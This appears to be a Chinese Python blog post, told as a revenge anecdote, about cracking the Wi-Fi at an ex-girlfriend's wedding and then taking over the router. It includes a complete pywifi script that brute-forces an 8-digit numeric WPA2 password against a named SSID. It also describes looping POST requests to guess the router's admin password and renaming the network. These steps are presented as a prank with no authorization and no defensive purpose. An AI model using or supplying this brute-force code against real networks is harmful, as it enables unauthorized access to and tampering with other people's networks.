在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Flask SQLAlchemy一对一,一对多的使用方法实践
Feb 10 Python
Python对象体系深入分析
Oct 28 Python
在Python中用has_key()方法查找键是否存在的教程
May 21 Python
Python中的localtime()方法使用详解
May 22 Python
python 链接和操作 memcache方法
Mar 04 Python
pip安装Python库时遇到的问题及解决方法
Nov 23 Python
Python打印“菱形”星号代码方法
Feb 05 Python
python数字图像处理之骨架提取与分水岭算法
Apr 27 Python
python实现log日志的示例代码
Apr 28 Python
Python3+Appium实现多台移动设备操作的方法
Jul 05 Python
python3实现绘制二维点图
Dec 04 Python
Python实现扫码工具的示例代码
Oct 09 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
phpmyadmin中配置文件现在需要绝密的短语密码的解决方法
2007/02/11 PHP
PHP header()函数使用详细(301、404等错误设置)
2013/04/17 PHP
PHP中常用的输出函数总结
2014/09/22 PHP
php cli配置文件问题分析
2015/10/15 PHP
PHP7匿名类用法分析
2016/09/26 PHP
php 反斜杠处理函数addslashes()和stripslashes()实例详解
2016/12/25 PHP
php字符串截取函数mb_substr用法实例分析
2019/06/25 PHP
Javascript 面向对象之重载
2010/05/04 Javascript
jquery(hide方法)隐藏指定元素实例
2013/11/11 Javascript
JQuery伸缩导航练习示例
2013/11/13 Javascript
js中split函数的使用方法说明
2013/12/26 Javascript
用JavaScript实现用一个DIV来包装文本元素节点
2014/09/09 Javascript
jQuery及JS实现循环中暂停的方法
2015/02/02 Javascript
javascript强制点击广告的方法
2015/02/06 Javascript
深入浅出理解javaScript原型链
2015/05/09 Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
2015/09/14 Javascript
jQuery 3.0十大新特性
2016/07/06 Javascript
BootStrap+Mybatis框架下实现表单提交数据重复验证
2017/03/23 Javascript
Django中使用jquery的ajax进行数据交互的实例代码
2017/10/15 jQuery
如何利用node.js开发一个生成逐帧动画的小工具
2019/12/01 Javascript
vue.js 输入框输入值自动过滤特殊字符替换中问标点操作
2020/08/31 Javascript
[02:45]DOTA2英雄敌法师基础教程
2013/11/25 DOTA
python进阶教程之循环相关函数range、enumerate、zip
2014/08/30 Python
举例讲解Python中的算数运算符的用法
2015/05/13 Python
Linux下为不同版本python安装第三方库
2016/08/31 Python
Python正则表达式教程之二:捕获篇
2017/03/02 Python
python 数据的清理行为实例详解
2017/07/12 Python
mac安装scrapy并创建项目的实例讲解
2018/06/13 Python
wtfPython—Python中一组有趣微妙的代码【收藏】
2018/08/31 Python
numpy创建单位矩阵和对角矩阵的实例
2019/11/29 Python
python语言实现贪吃蛇游戏
2020/11/13 Python
python绕过图片滑动验证码实现爬取PTA所有题目功能 附源码
2021/01/06 Python
PHP使用Redis队列执行定时任务实例讲解
2021/03/24 PHP
医学专业毕业生推荐信
2013/11/14 职场文书
银行反四风对照检查材料
2014/09/29 职场文书
停课通知书
2015/04/24 职场文书